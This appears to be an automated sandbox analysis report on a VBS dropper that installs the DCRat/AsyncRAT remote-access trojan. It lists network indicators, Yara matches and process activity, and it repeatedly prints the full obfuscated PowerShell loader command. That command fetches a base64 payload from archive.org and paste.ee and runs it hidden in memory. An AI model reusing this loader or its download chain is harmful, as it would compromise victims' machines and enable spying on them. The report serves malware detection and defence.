Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/AaTNM/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: paste.ee

Source: AddInProcess32.exe, 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: AddInProcess32.exe, 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6BEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1540245190.0000025025A19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB5191000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1540245190.00000250259F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1540245190.00000250259DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB5191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6AA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB61B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB53B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB53B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB53B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB6BEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1506314735.000001DFC51FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB688E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB55B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB55B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/AaTNM/0
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000004.00000002.1489737253.000001DFB578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1489737253.000001DFB556C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2712121235.0000000005398000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 1212, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF88798FF4D	4_2_00007FF88798FF4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF887980EF2	4_2_00007FF887980EF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF887A50056	4_2_00007FF887A50056
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_010165D0	5_2_010165D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01016EA0	5_2_01016EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01016288	5_2_01016288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0101B660	5_2_0101B660

Source: qiEmGNhUij.vbs

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2712121235.0000000005398000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 1212, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@8/7@2/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Dggx_gg
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3720:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lz031atc.djd.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: qiEmGNhUij.vbs

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKy